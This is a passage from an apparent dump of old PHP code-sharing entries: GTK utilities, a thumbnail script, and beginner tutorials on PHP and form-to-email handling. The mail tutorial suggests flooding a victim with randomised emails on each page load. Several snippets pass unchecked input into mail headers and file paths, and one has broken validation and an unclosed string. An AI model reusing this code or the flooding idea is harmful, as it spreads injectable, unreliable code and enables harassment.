\"/full/path/on/your/server/images/$newfile$type\");\n}\n?>"},{"WorldId":8,"id":567,"LineNumber":1,"line":"<?\n/*\n * ip_lookup.php - My first attempt at PHP-GTK.\n * \n * Author: Josh Sherman\n * Purpose: Looks up the IP address for a domain.\n * Usage: php -q ip_lookup.php\n *\n */\n// Check to see if the PHP-GTK extension is available.\nif (!class_exists('gtk')) {\n\tif (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN')\n\t\tdl('php_gtk.dll');\n\telse\n\t\tdl('php_gtk.so');\n}\n// Called when delete-event takes place, tells it to proceed.\nfunction delete_event()\n{\n\treturn false;\n}\n// Called when the window is being destroyed, tells it to quit the main loop.\nfunction destroy()\n{\n\tGtk::main_quit();\n}\n// Called when the button is clicked, looks up the IP and places it in the \n// entry box.\nfunction get_ip()\n{\n\tglobal \t$text;\n\tglobal\t$domain;\n\tglobal\t$window;\n\tglobal\t$ip_address;\n\t$domain = $text->get_text();\n\t$ip_address = gethostbyname($domain);\n\t$text->set_text($ip_address);\n}\n// Creates a new top-level window and connect the signals to the appropriate\n// functions.\n$window = &new GtkWindow();\n$window->connect('destroy', 'destroy');\n$window->connect('delete-event', 'delete_event');\n$window->set_border_width(5);\n$window->set_title('IP Look-up');\n$window->set_policy(false, false, false);\n// Creates a table to place the widgets in, and adds it to the window.\n$grid = &new GtkTable(2, 2);\n$grid->set_row_spacings(4);\n$grid->set_col_spacings(4);\n$window->add($grid);\n// Creates a label to describe the entry field and adds it to the table.\n$label = &new GtkLabel();\n$label->set_text(\"Domain:\");\n$grid->attach($label, 0, 1, 0, 1);\n// Creates an entry field and adds it to the table.\n$text = &new GtkEntry();\n$text->set_editable(true);\n$text->set_max_length(256);\n$grid->attach($text, 1, 2, 0, 1);\n// Creates tooltips object for the entry field.\n$ttentry = &new GtkTooltips();\n$ttentry->set_delay(200);\n$ttentry->set_tip($text, 'Type the domain you want to look up here.', '');\n$ttentry->enable();\n// Creates a button, connects its clicked signal to the get_ip() function and \n// adds the button to the window.\n$button = &new GtkButton('Get IP');\n$button->connect('clicked', 'get_ip');\n$grid->attach($button, 0, 2, 1, 2);\n// Creates tooltips object for the button.\n$ttbutton = &new GtkTooltips();\n$ttbutton->set_delay(200);\n$ttbutton->set_tip($button, 'Looks up the IP', '');\n$ttbutton->enable();\n// Show the window and all of it's child widgets.\n$window->show_all();\n// Set focus to the entry field.\n$window->set_focus($text);\n// Run the main loop.\nGtk::main();\n?>"},{"WorldId":8,"id":570,"LineNumber":1,"line":"<?\n/* Informs the browser the data being sent back is a Jpeg Image */\nHeader (\"Content-type: image/jpeg\");\n/* loads image passed thru script\nie: gd.php?img_name=zoom.jpg */\n$src_img = imagecreatefromjpeg($img_name);\n/* desired width of the thumbnail */\n$picsize = 123; \n/* grabs the height and width */\n$new_w = imagesx($src_img);\n$new_h = imagesy($src_img);\n/* calculates aspect ratio */\n$aspect_ratio = $new_h / $new_w;\n/* sets new size */\n$new_w = $picsize;\n$new_h = abs($new_w * $aspect_ratio);\n/* creates new image of that size */\n$dst_img = imagecreate($new_w,$new_h); \n/* copies resized portion of original image into new image */\nimagecopyresized($dst_img,$src_img,0,0,0,0,$new_w,$new_h,imagesx($src_img),imagesy($src_img));\n/* return jpeg data back to browser */\nimagejpeg($dst_img);\n?>"},{"WorldId":8,"id":571,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":573,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":574,"LineNumber":1,"line":"\nSo you want to be cool like me and utilize the power of PHP when developing web sites? Then you've come to the right place. This tutorial will give you a basic introduction to PHP, as well as enlighten you to some of the commands that you can use.\n\n\nIf you're curious to what PHP stands for, you're going to be a bit disappointed with my answer. PHP stands for PHP: Hypertext Preprocessor. Now that you're confused, let me explain what PHP is. PHP is a server-side, cross-platform, HTML embedded scripting language. What's that mean to you? It means you can create dynamic web pages!\n\n\nBefore you can start using PHP, you need to find a host that supports PHP, or set it up yourself. PHP is free, and available from <A href=\"http://www.php.net\" target=\"_blank\" class=\"NAVITEM\">http://www.php.net/</a>, along with documentation, functions lists, bugs, et cetera.\n\n\nOnce you have a server at your disposal, you will need a really expensive development environment to code in. Oh wait, we're not talking about a Microsoft product here. All you will need for PHP is a basic text editor. Notepad or vi will be sufficient. As a matter of fact, those are the only tools I use for coding PHP.\n\n\nNow on to the fun part, hope you're ready to build your first PHP-enabled page.\n\n\nFirst, create a new file, and name is \"helloworld.php\". Note the .php extension. PHP requires files to have a .php, .php3, or .php4 extension. Usually .php will due just fine.\n\n\nNow I hope you didn't think I was going to skip the infamous \"Hello World!\" example. Now that you have your file, open it up in your editor, and type in the following code:\n\n<TABLE align=\"center\"><TR><TD>\n<HTML> \n <HEAD> \n <TITLE>Hello World!</TITLE> \n </HEAD> \n <BODY> \n <? echo \"Hello World!\"; ?> \n </BODY> \n</HTML>\n</td></tr></table>\n\nAs you can see, I'm a stickler for indenting, but this is not necessary for PHP. \n\n\nOnce you have the code typed up, go ahead and save the file, upload it to your host, and place it in the appropriate directory on your system, and pull it up in your web browser.\n\n\nThe output should be:\n\n\nHello World!\n\n\nCongratulations you've successfully built your first PHP page. Simple enough, huh? Well that's just a small taste of what PHP can do, and is far from utilizing PHPΓÇÖs full potential.\n\n\nOkay, so you've made your first page, big whoop, now it's time to learn what the hell we did. I'm going to go line by line and explain what each bit of code means and does.\n\n<TABLE align=\"center\"><TR><TD>\n<HTML> \n <HEAD> \n <TITLE>Hello World!</TITLE> \n </HEAD> \n <BODY>\n</td></tr></table>\n\nThe first part of the page is simply HTML tags. If you don't know what that does, then I'm sorry for you, and I advise you stop reading this tutorial now and learn some basic HTML.\n\n\n<? echo \"Hello World!\"; ?>\n\n\nThis little bit of code is out only PHP in the entire document. The nice part of PHP is that it gives you the ability to mix and match HTML and PHP to produce a web page.\n\n\nThe <?, indicates the start of a PHP tag. Depending on how PHP is set up on your server, you may or may not need to use <?php instead of <?. To close your PHP tag we use ?>. PHP tags don't have to be a single line like our page, you can span it over multiple lines, to include more complex code such as if statements and loops.\n\n\nWe've now covered the beginning and ending PHP tags, now we're going to analyze what we have in between them. echo is the command used to print information on the display. Depending on how much you need to display, echo might not be the best choice. For single lines, echo is wonderful, but if you have 2 paragraphs, it may just be better to close the PHP tag and simply have the paragraphs in the HTML portion of the site. echo allows up to display not only plain text that is enclosed in quotes, but variables as well.\n\n\necho $blah;\n\n\nThat would output the contents of the $blah variable.\n\n\nThe last portion of the expression is the ;. All lines in with ; unless they are a part of a conditional expression like an if structure. The rest of the code is just basic HTML to close the BODY and HTML tags, nothing of real importance.\n\n\nSo, you've gotten one page under your belt, and have a basic understanding of how PHP works, and how to use the echo statement. Next, we're going to go over the if statement, and how to create something a bit more dynamic.\n\n\nLike before, I want you to create a new file, but this time name is \"greeting.php\". This time, I'm going to walk through the code with you step by step and explain it as we go along.\n\n<TABLE align=\"center\"><TR><TD>\n<HTML> \n <HEAD> \n <TITLE>Greeting!</TITLE> \n </HEAD> \n <BODY>\n</td></tr></table>\n\nJust like before, we're going to start our page with the basic HTML code, including a title for our site.\n\n\n<TABLE align=\"center\"><TR><TD>\n<? \n $current_hour = date (\"H\");\n</td></tr></table>\n\nHere we opened up our PHP tag, on the next line, we are assigning a variable. The variable is named $current_hour. Variables in PHP start with $, and are case sensitive. The value we are assigning to the variable is date (\"H\").\n\n\nWelcome to the world of functions! date() is a predefined function in PHP that is used to provide with the time and/or date. In this instance, we're pulling the hour of the day, in the 24-hour clock format. The value it assigns to our variable will be 0-23. At the end of our line, we have our semi-colon as usual.\n\n<TABLE align=\"center\"><TR><TD>\nif($current_hour<\"12\") { \n echo \"Good Morning!\"; \n}\n</td></tr></table>\n\nif structures are one of the most useful pieces of code in which you can utilize. In this instance, we are determining if the $current_hour variable is less than 12. If it is less than 12, then we are displaying the words \"Good Morning!\" and then the structure is complete and it moves on.\n\n\nif structures are fairly simple, they start with if and within the parentheses, you put in your condition. Your condition can be one of six different operators, == (is equal to), != (is not equal to), > (is greater than), < (is less than), >= (is greater than or equal to), <= (is less than or equal to).\n\n\nAfter we have the if structure put together, we end the line with a fancy bracket, {. The { tells us where to put action code. After we put in the code that will be executed when the condition is met, we end it with the other bracket, }.\n\n<TABLE align=\"center\"><TR><TD>\nif($current_hour<\"20\" and $current_hour>=\"12\") { \n echo \"Good Afternoon!\"; \n}\n</td></tr></table>\n\nThis is out second if structure, and incidentally, a little more complex. It contains 2 conditions that have to be met before the result is executed. We separate the conditions with and (you can also use or depending on the situation). If $current_hour is less than 20, and is greater than or equal to 12, then it will display \"Good Afternoon!\".\n\n<TABLE align=\"center\"><TR><TD>\nif($current_hour>=\"20\") { \n echo \"Good Evening!\"; \n}\n</td></tr></table>\n\nThe last of our if structures in this page. This one is very similar to our first as it determines if $current_hour is greater than or equal to 20, and displays \"Good Evening!\" before stopping the PHP tag.\n\n<TABLE align=\"center\"><TR><TD>\n ?> \n </BODY> \n</HTML>\n</td></tr></table>\n\nJust closing tags. It ends out PHP tag, and the BODY and HTML tags. \n\n\nAll finished, all we need to do is launch the web site and check out the result. Depending on the time of day, you will get a different response, either Good Morning!, Afternoon! or Evening!.\n\n\nIf you've done any kind of programming in other languages, you know that my use of 3 if structures could be refined. That leads me into my next example. No need for a new file this time, we are going to modify \"greeting.php\" that we just finished up.\n\n\nFind the following snippet of code, highlight it, and delete it.\n\n<TABLE align=\"center\"><TR><TD>\nif($current_hour<\"12\") { \n echo \"Good Morning!\"; \n} \n \nif($current_hour<\"20\" and $current_hour>=\"12\") { \n echo \"Good Afternoon!\"; \n} \n \nif($current_hour>=\"20\") { \n echo \"Good Evening!\"; \n}\n</td></tr></table>\n\nWe are going to rewrite that section of code, and utilize nested if structures.\n\n<TABLE align=\"center\"><TR><TD>\nif($current_hour>=\"20\") { \n echo \"Good Evening!\"; \n} else { \n if($current_hour<\"12\") { \n echo \"Good Morning!\"; \n } else { \n echo \"Good Afternoon!\"; \n } \n}\n</td></tr></table>\n\nThat will do the same thing as our previous code, but instead of 3 separate if structures, we use 2, and make use of else. else is part of an if structure, which executes a different set of code if the condition is false.\n\n\nthe first if structure checks to see if $current_hour is greater than or equal to 20. If it is, then it displays \"Good Evening!\". If it isn't then it executes another if structure (our first nested if). That next if structure checks to see if $current_hour is less than 12, and if that is true, then it displays \"Good Morning!\". If the nested if structure is false, then it displays \"Good Afternoon!\".\n\n\nWithin the { and } of an if statement, you can put virtually any code you want in there, and it will execute it.\n\n\nThat should do it for using the if structures to create dynamic content. Next on the agenda is to teach you about cases, and query strings, so that you can produce truly dynamic content, instead of just displaying greetings to your visitors.\n\n\nThis next page is going to be called \"dynamic.php\". Like the first example, I'm going to give you all of the code at once, and then explain it step by step.\n\n<TABLE align=\"center\"><TR><TD>\n<HTML> \n <BODY> \n <? \n switch ($pageid) { \n case \"1\": \n echo \"<TITLE>Page 1</TITLE>\"; \n echo \"Page 1 content goes here.\"; \n break; \n case \"2\": \n echo \"<TITLE>Page 2</TITLE>\"; \n echo \"Page 2 content goes here.\"; \n break; \n case \"3\": \n echo \"<TITLE>Page 3</TITLE>\"; \n echo \"Page 3 content goes here.\"; \n break; \n default: \n echo \"Page $pageid doesn't exist.\"; \n break; \n } \n ?> \n </BODY> \n</HTML>\n</td></tr></table>\n\nOnce you have that typed up the code, and put it on your server, bring up the page in your web browser. It should display \"Page doesn't exist.\" What the case statement does, is it allows you to do a large if statement, but not as complicated. The cases are started off by switch ([variable]) {. This determines what variable to check for the cases. In this instance, we are using the variable $pageid. Now each case is defined as case \"1\": - case \"3\": and then default:, to represent all over instances.\n\n\nSo we ran it, and it told us the page didn't exist. Why? Because we didn't tell it what page to display, and because of that, it went with the default. This is where the query sting comes in to play for us. I'm sure you've seen a query string in your life time, and if not, oh well, I'm going to explain it anyway.\n\n\nPull up the web browser we displayed the page in previously. After the dynamic.php, we're going to append ?pageid=1 to the end of it. Go ahead and press enter to display that page. This time, it should display \"Page 1 content goes here.\" Now change the pageid=1 to pageid=2 and then to pageid=3. It should display the appropriate pages for you.\n\n\nWhat's all this mean to us as web developers? It means you can have a single file, and host a million different pages off of that file, and make calls to them by a variable in the query string. You can also have multiple variables in the query string, to make your page even more dynamic. The variables can be named virtually anything you want, and are formatted together like this:\n\n\nindex.php?section=essay&page=2\n\n\nWe use the ampersand to separate the variables in the query string. As you can see from the example, you can call the section that you want, and then the page number of that section all from the query string. Once you start to utilize such tricks as this, you will never goes back to coding flat HTML pages.\n\n\nThe other new command is break. break simply stops the execution of a structure, such as our switch, and continues on. We use break at the end of each case so that it doesn't execute all the cases. If we didn't include the break's, and we ran the page with the query string ?pageid=1, then our output would be: \"Add content for page 1Add content for page 2Add content for page 3Page 1 doesn't exist. \" Not really what we wanted, so we'll stick with the breaks. If you have nested structures, and need to break out of say, 3 of them, you could use break 3; and it will break all 3.\n\n\nIt's almost time to wrap up this tutorial, but I would like to go over a few other simple commands that will help you on your way. First, we have require() which allows you to add text from another file, kind of like server side includes. Unlike date(), require() is not a function in PHP, but a language construct, and doesn't return any value. One great use for require() would be in your cases from the previous code. Instead of adding echo this and echo that, you can have a separate file with all of the code, and then simply have require (\"page1.php\"); which will pull that data into your page.\n\n\nThe last command is exit() which again, is a language construct. exit() will terminate the script and output a message if you want it to. This command is good for detecting an error and halting the script. You can either use exit; to halt it, or something along the lines of exit(\"Halting Script\"); to halt it and display \"Halting Script\" to let the user know what's going on. The nifty part about exit() is that it has an alias. That means there is another command that will do the same exact thing, which is die(). You can use the two interchangeably.\n\n\nSo now you have a basic understanding of how PHP works, and a small knowledge base of commands you can use, along with the basic flow and logic of a page. If you are interested in learning more on your own, check out <A href=\"http://www.php.net/\" target=\"_blank\" class=\"NAVITEM\">http://www.php.net/</a> which has a listing of all the commands, and a full online manual. If that's not enough for you, then search the web, there are quite a few web development sites out there, most of which have information on PHP. If you're too lazy to search on your own, then hold tight, there will be more PHP tutorials in the near future.\n"},{"WorldId":8,"id":575,"LineNumber":1,"line":"\nSo you've finished up our tutorial, PHP 101, and now you want more of the meat and potatoes of making PHP work for you. One of the easiest and most effective ways to utilize PHP is my using forms. If you haven't read PHP 101, then please go back and do so, because you may run into some problems with this tutorial and the previous will give you some more insight than this tutorial, \n\n\nForms? Yeah, those nifty little things on web pages, which collect data from you, and either email it off to someone, or throw your information in a database for future reference, or something like that. Forms are one of the easiest ways to collect data from your visitors. Either by having them sign up for a mailing list, or collecting data for research or a poll, forms are what you will need to use.\n\n\nNow, I'm going on the assumption that you don't know anything about forms. If you do, you may want to skip this section and move on to more of the PHP coding aspect of this tutorial.\n\n\nTo start off, we will need to create a new file on your system, which we will call \"form.html\". Open the file up and you will need to type in the following code:\n\n<TABLE align=\"center\"><TR><TD>\n<HTML> \n <HEAD> \n <TITLE>Form</TITLE> \n </HEAD> \n <BODY> \n <FORM action=\"processform.php\" method=\"POST\" name=\"form\" id=\"form\"> \n What is your name? <INPUT type=\"text\" name=\"name\" id=\"name\"> \n \n <INPUT type=\"submit\" value=\"Submit\" name=\"submit\" id=\"submit\"> \n <INPUT type=\"reset\" value=\"Reset\" name=\"reset\" id=\"reset\"> \n </FORM> \n </BODY> \n</HTML> \n</td></tr></table>\n\nNothing all that complicated, this will create a single text box, asking the user what his / her name is. Along with Submit and Reset buttons.\n\n\nTo start the in depth explanation of the code, let me just straight down to the opening FORM tag.\n\n\n<FORM action=\"processform.php\" method=\"POST\" name=\"form\" id=\"form\">\n\n\nThe first part of the tag is action=, this is where you specify what file you are going to use to analyze the contents of the form. In this instance, we are going to be calling upon \"processform.php\" which we will be creating later.\n\n\nThe next thing to specify is the method. There are two methods which you can use, either POST or GET. In a nutshell, GET assigns the form data to the environment variable of QUERY_STRING, then submits it, while POST simply sends the data. POST is slightly more stealth, as the user will never see the data being passed to the script. GET is most commonly used when sending information between two different windows.\n\n\nFollowing the method, there are two additional variables. name and id, which are used for identification purposes, especially with such languages as JavaScript. I usually set the two variables to equal the same thing, just for convenience purposes, and make them fairly descriptive, like this instance where we call it \"form\".\n\n\nNow we have our FORM tag, we now have to build the components in the form, and then close it all out. After the prompt, \"What is your name?\", we have our first of 3 INPUT tags. The first one is the box that the user will type his / her name into. INPUT tags can represent many input types, including text boxes, buttons, radio buttons and check boxes. In this instance, it is going to be a text box, so we set the type variable to be \"text\". The last two fields are id and name, and hold the same purpose as before. We will set their values to \"name\" because that is what the text box will be holding the value of, the user's name.\n\n\nAfter a couple of line breaks, we throw in the last 2 INPUT tags. The first of the two is going to be our submit button, the second will be a reset button. For submit buttons, we set the type to be \"submit\", and we will set the name and id to be the same, just to make things uniform. We are now going to set a new variable, value. value specifies what the button says when it is displayed on the screen. We have the value set to Submit, but you can call it whatever you want. The perk of the submit type, is that when the user clicks on it, it will perform the action specified in the FORM tag. Therefore, the submit button is what will execute the form.\n\n\nThe next button is the reset button. It will be the same as the previous button, but we will set all the variables (type, value, name and id) to be reset. reset, like our good friend submit has a special purpose as well. When the user clicks on this button, the contents of all the fields on the form will be reset back to their initial value, which in this case, the name text box will be reset back to being blank, because there is no value set for it.\n\n\nOur form is now complete, so we will close it off with the closing FORM tag, and upload this bad boy to our host.\n\n\nNow that we have \"form.html\" complete, and up on our server, letΓÇÖs go ahead and pull it up in a web browser. It shouldn't be anything spectacular, just a basic form, with a single field, and 2 buttons. Type in your name and click on \"Submit\", you should get a page cannot be displayed error. If not, you must have a file called processform.php already in that directory. What happened is the form tried to send the information from the form, to a file that doesn't exist yet, hence the error.\n\n\nOn that note, I want you to create another file, and name it \"processform.php\". Immediately, I want you to upload it to the server, and try to submit your form again. Wow, a blank screen. Yeah, the file now exists, and doesn't give us an error. Only problem with that is that the script is not doing anything with the data being received, and our form is worthless.\n\n\nEnough fun and games, lets get down to coding. Close out of your web browser, and open up the \"processform.php\" file for editing. What we're going to do is write a script that will take the user's name and give them a simple greeting, like \"Hey [name], how are you doing?ΓÇ¥ Since I'm assuming you know a thing or two about PHP, why not give it a try, and then come back to the tutorial. I'll give you a hint, start your file with <? and end it with ?> ;).\n\n\nHopefully you figured it out on your own; if not, that's cool, that's why I'm writing this tutorial.\n\n\nI would hope your file looks at least like this:\n\n\n<? \n \n?>\n\n\nIf not, may I suggest my PHP 101 tutorial? If you did get that far, let me say, good job, you're 66% of the way done. Within the delimiters, you will need to add the following line:\n\n\necho \"Hey $name, what's shakin'?\";\n\n\nOr whatever lame greeting you want. To call the name of the person from the form, you just have to use the $name variable. The name of the variable came from the name of the field on the form. If the name of the field was blah, then the variable that holds the data for that field would be called $blah. \n\n\nCongratulations, you just completed your first form and PHP script to process it.\n\n\nNow for my next topic, form validation with PHP. Open up \"processform.php\" again, and insert a few line breaks after the first delimiter (after the echo statement). In that white space, we are going to add an if structure, to check to see if the user actually inputted a name.\n\n<TABLE align=\"center\"><TR><TD>\nif ($name==\"\") { \n echo \"I thought I said to type in your name?\"; \n} else {\n</td></tr></table>\n\nYou can indent the second echo statement, and then add a } on the next line to complete the structure. Upload this new copy of the script, and pull up your form again. Try to submit the form without a name. Now you get the message \"I thought I said to type in your name?\" instead of \"Hey , what's shakin'?\" You could also check for certain values, like if the name is equal to your name, you could spit out \"Hey, what's my name too!\", or something like that. The possibilities are endless.\n\n\nOn a side note, you could use a simple JavaScript form validation routine to accomplish the same, but if the user's browser doesn't handle JavaScript, then you're pretty much SOL.\n\n\nSo we built are form, we are validating that the value isn't null, and now we're going to optimize what we have. Yep, optimize it. How? Well we're going to ditch the 2 files, and combine it into a single PHP file.\n\n\nLetΓÇÖs create a new file, and call it \"allinone.php\". Open it up, and input the following code:\n<TABLE align=\"center\"><TR><TD>\n<? \n \nif ($name==\"\") { \n \n?> \n \n <HTML> \n <HEAD> \n <TITLE>Form</TITLE> \n </HEAD> \n <BODY> \n <FORM action=\"allinone.php\" method=\"POST\" name=\"form\" id=\"form\"> \n What is your name? <INPUT type=\"text\" name=\"name\" id=\"name\"> \n \n <INPUT type=\"submit\" value=\"Submit\" name=\"submit\" id=\"submit\"> \n <INPUT type=\"reset\" value=\"Reset\" name=\"reset\" id=\"reset\"> \n </FORM> \n </BODY> \n </HTML> \n \n<? \n \n} else { \n \n echo \"Hey $name, what's shakin'?\"; \n \n} \n \n?>\n</td></tr></table>\n\nThat code should look familiar for the most part. All we're doing is adding in a giant if structure. If the variable $name is null, then display the form, if not, analyze the data. The form will keep looping if the user doesn't enter in a name, but if they do, it will give them the greeting.\n\n\nIn case you have multiple fields on your form, this method won't be that efficient. In that situation, you will want to use a different if () { statement. The appropriate statement would be either if ($REQUEST_METHOD==\"POST\") { or if ($REQUEST_METHOD==\"GET\") { depending on if you use POST or GET for your form method. This will check the environment variable, REQUEST_METHOD, to see if the form is being sent via the POST or GET method.\n\n\nWell, that's the first part of the tutorial; you should now have a basic understanding of HTML forms, and how to utilize PHP to analyze the data. Now it's time to learn how to do something a bit more functional than just redisplaying the form contents back to the user. \n\n\nHave you ever seen a site that has a form that gives you the opportunity to contact the people who run the site? If not, please go <A href=\"http://www.bombthebox.com/index.php?page=contactus\" target=\"_blank\" class=\"NAVITEM\">here</a> for an example. What these forms do, is link to a PHP script (or ASP, Perl...) and that script emails the data to who ever is set up as the recipient, usually webmaster@. \n\n\nPHP has the perfect little function for such a thing, it's called mail(). If you want to check out PHP.net's manual page on mail() then by all means, check it out <A href=\"http://www.php.net/manual/en/function.mail.php\" target=\"_blank\" class=\"NAVITEM\">here</a>. Their site will give you some in depth information about using mail() and some of the problems and pitfalls and what not.\n\n\nThe most simplistic use of mail() is like this:\n\n\nmail ($to, $subject, $message);\n\n\nVery basic, all you do is specify the recipient, the subject and the message. You can also add more complex things such as additional header information, \nCc:, Bcc:, and even who the email is from (good for spoofing messages against people who are too dumb to check the header information).\n\n\nWell, let's try this idea out, and throw up our own contact form. First thing we need to do, as always, is create a new file. This time we will call it \n\"contactform.php\" We will be using just a single file for this, as explained previously.\n\n\nI am going to give you a basic overview of what you will need to do, and you can try it on your own. If you crash and burn, you can go further into the \ntutorial, and use the code provided.\n\n\nWe are going to use an if structure like in the previous bit of code we did, but we will need to check the REQUEST_METHOD variable to see if it's value is \nPOST. Under the start of the if structure, we will place the code for our form. Our form should have the following fields: name, email address, subject, \nmessage, and 2 buttons, send and reset. After we build our form, we will need throw an else into the structure, put in some code to send the email, and then \nclose it all off.\n\n\nDid you get all that? Probably, not, but that's ok.\n\n\nThe first thing mentioned, was starting an if structure that checked the REQUEST_METHOD variable. \n\n<TABLE align=\"center\"><TR><TD>\n<? \n \nif ($REQUEST_METHOD==\"POST\") {\n \n?>\n</td></tr></table>\n\nThat should look familiar, if not, go back and start at the beginning of this tutorial again, and take notes!\n\n\nNext up is our form, with 4 different boxes, and 2 buttons. \n\n<TABLE align=\"center\"><TR><TD>\n<HTML> \n <HEAD> \n <TITLE>Contact Form</TITLE> \n </HEAD> \n <BODY> \n <FORM action=\"contactform.php\" method=\"POST\" name=\"form\" id=\"form\"> \n Your Name? <INPUT type=\"text\" name=\"name\" id=\"name\"> \n Your Email? <INPUT type=\"text\" name=\"email\" id=\"email\"> \n Subject? <INPUT type=\"text\" name=\"subject\" id=\"subject\"> \n Message? <TEXTAREA name=\"message\" id=\"message\"></TEXTAREA> \n \n <INPUT type=\"submit\" value=\"Send Email\" name=\"submit\" id=\"submit\"> \n <INPUT type=\"reset\" value=\"Reset Form\" name=\"reset\" id=\"reset\"> \n </FORM> \n </BODY> \n</HTML>\n</td></tr></table>\n\nThis script is a bit more complex than our original form, but not too far from being the same. The only new thing there is the use of the TEXTAREA tag. \nTEXTAREA is basically a multi-lined input box. We use this for the message, so the user can more room to type and see what they are typing and all that good \nstuff. The TEXTAREA tag makes use of a closing tag as well, in case you wanted to put text in the box, you would put it between the tags, instead of using \nvalue=. Everything else is old information from earlier in the tutorial. Note, we used different nameΓÇÖs and id's for each component on the form, and we \nchanged the value= for the submit and reset buttons, so that they have different text when the form is viewed.\n\n<TABLE align=\"center\"><TR><TD>\n<? \n \n} else { \n \n $to = \"your@email.address\"; \n $from = \"From: \\\"$name\\\" <$email>\"; \n mail($to, $subject, $message, $from); \n echo \"Hey $name, thanks for emailing us, you should get a reply in 3-5 business days.\"; \n \n} \n \n?>\n</td></tr></table>\n\nHere is the else portion of the structure. We assign two variables before we do anything. $to is where you put your email address in, so you receive the \nemails being sent, $from contains the formatting for the additional header information. From: isn't a standard built into mail(), so you have to define it \nin the extra header portion of the function. \n\n\nThe next line contains the mail() function, calling our 2 variables we just defined, as well as the $subject and $message information from the form. This line \nwill send the information to whatever email address you put in for $to.\n\n\nThe last line is a simple echo statement, to let the user know that their email was sent, and that it should be replied to shortly.\n\n\nThat's all there is to it! You can add additional if structures within the else portion to check to see if any fields were left blank, or to block people \nfrom a certain email address from using the form, et cetera.\n\n\nThat pretty much wraps up using forms, and using the mail() function of PHP. What I'd like to do now, is take our last example, and give you a more complex \nversion of it. This new code will contain some error checking, as well as utilize HTML encoded email. The previous examples of using mail() sent plain text \nmessages, lame. \n\n\nWe are going to create one last file, and call it \"contactform2.php\", and input the following code:\n<TABLE align=\"center\"><TR><TD>\n<? \n \nif ($REQUEST_METHOD==\"POST\") { \n \n?> \n \n<HTML> \n <HEAD> \n <TITLE>Contact Form, the Sequel</TITLE> \n </HEAD> \n <BODY> \n <FORM action=\"contactform2.php\" method=\"POST\" name=\"form\" id=\"form\"> \n Your Name? <INPUT type=\"text\" name=\"name\" id=\"name\"> \n Your Email? <INPUT type=\"text\" name=\"email\" id=\"email\"> \n Subject? <INPUT type=\"text\" name=\"subject\" id=\"subject\"> \n Message? <TEXTAREA name=\"message\" id=\"message\"></TEXTAREA> \n \n <INPUT type=\"submit\" value=\"Send Email\" name=\"submit\" id=\"submit\"> \n <INPUT type=\"reset\" value=\"Reset Form\" name=\"reset\" id=\"reset\"> \n </FORM> \n </BODY> \n</HTML> \n \n<? \n \n} else { \n\t \n if ($name==\"\" or $email==\"\" or $subject=\"\" or $message=\"\") { \n\t\t \n echo \"You have to fill out the entire form, go back and try again.\"; \n \n } else { \n \n $to = \"your@email.address\"; \n $from = \"From: \\\"$name\\\" <$email>\"; \n $subject = \"[via form] \" . $subject; \n \n $additional = \"$from\\r\\nReply-To: $email\\r\\nContent-Type: text/html; charset=iso-8859-1; \n $message = \"\t<HTML> \n <HEAD> \n <TITLE>$subject</TITLE> \n </HEAD> \n <BODY> \n $message \n </BODY> \n </HTML>\"; \n \n mail($to, $subject, $message, $additional); \n \n echo \"Hey $name, thanks for emailing us, you should get a reply in 3-5 business days.\"; \n \n } \n \n} \n \n?>\n</td></tr></table>\n\nHopefully that wasn't too overwhelming. The initial form was not altered at all, so there is no need to discuss it. The first amendment is the new if \nstructure under the else statement. That particular if structure checks to see if any of the fields on the form were left blank, and if so, it advises the \nuser accordingly.\n\n\nIf all the fields are filled in, it then goes on to send the email. Our $to and $from variables are still the same, but I threw in a $subject variable. \n$subject? Isn't that one of the fields on the form? Yep, it is, but, we aren't changing what the subject is, we're just appending \"[via form]\" to the front \nof the subject line. Then, when the email hits your box, you can see who's using your form.\n\n\nAfter appending the subject line, we define another new variable, $additional. This variable contains the additional header information in it, separated by \n\\r\\n. We start the variable off with the $from variable, and then add Reply-To: and Content-Type:. Reply-To simply tells your email client to reply to a \ncertain address. It isn't truly necessary, but it's in good practice to use it. The last bit of header information is the most important. Content-type: is \nused to tell an email client to read the message as HTML and not plain text.\n\n\nThe last variable is our $message. This time, the message won't be displayed as plain text, so we are going to utilize HTML. As you can see, $message is \nnow formatted like a web page, using $subject for the title, and the original $message in the BODY tag. You can put whatever HTML you want in here, change \nthe font, or make the background different, whatever floats your boat.\n\n\nThe next line is the mail() function. Nothing too special here, we simply changed the $from variable to the $additional variable to utilize the additional \nheader information we wanted to use. After that, we have the same echo line as before, just letting the user know what's going on.\n\n\nThat's it, after reading this, you should be able to form with forms, and the mail() function of PHP. If not, read it again. If so, then try using the \ninformation to your advantage, and have fun with you. If you're really adventurous, you could start having emails sent to you when people visit a certain \npage on your site, or if you're malicious, and have a site that gets a lot of traffic, you could set up a function that will email your victim every time \nthat page (or all your pages) is loaded. You could even generate random subject lines, senders, and messages to avoid a mass delete. Remember though kids, \nthe header information never lies, and even though your email says \"From: JoMamma@FudgeYou.com\", the header will still say it came from your server.\n\n\nHope you found this informative, and thanks for reading!\n"},{"WorldId":8,"id":576,"LineNumber":1,"line":"<?\n/*\n * porg.php - PORG Organizes Real Good\n *\n * Author: Josh Sherman\n * Purpose: Renames a directory of files based\n * on a custom prefix. i.e. PORGn.*\n * Usage: php -q porg.php\n */\nif (!class_exists('gtk')) {\n\tif (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN')\n\t\tdl('php_gtk.dll');\n\telse\n\t\tdl('php_gtk.so');\n}\nfunction delete_event() \n{\n\treturn false; \n}\nfunction destroy() \n{ \n\tGtk::main_quit();\n}\nfunction back_up()\n{\n\tglobal $dir_entry;\n\tglobal $directory;\n\t$directory = $dir_entry->get_text();\n\t@mkdir(\"$directory/bkup\", 0777);\n\tif ($dir = @opendir(\"$directory\")) {\n\t\twhile (($file = readdir($dir)) !== false) {\n\t\t\tif ($file != \"bkup\" && substr($file, 0, 1) != \".\" && is_dir($file) == 0) {\n\t\t\t\tif (@copy(\"$directory/$file\", \"$directory/bkup/$file\")) {\n\t\t\t\t\tunlink(\"$directory/$file\");\n\t\t\t\t}\n\t\t\t}\n\t\t} \n\t\tclosedir($dir);\n\t}\n\trename_files();\n}\nfunction rename_files()\n{\n\tglobal $directory;\n\tglobal $prefix;\n\tglobal $prefix_entry;\n\tglobal $check;\n\tglobal $window;\n\t$prefix = $prefix_entry->get_text();\n\t$i = 0;\n\tif ($dir = opendir(\"$directory/bkup\")) {\n\t\twhile (($file = readdir($dir)) 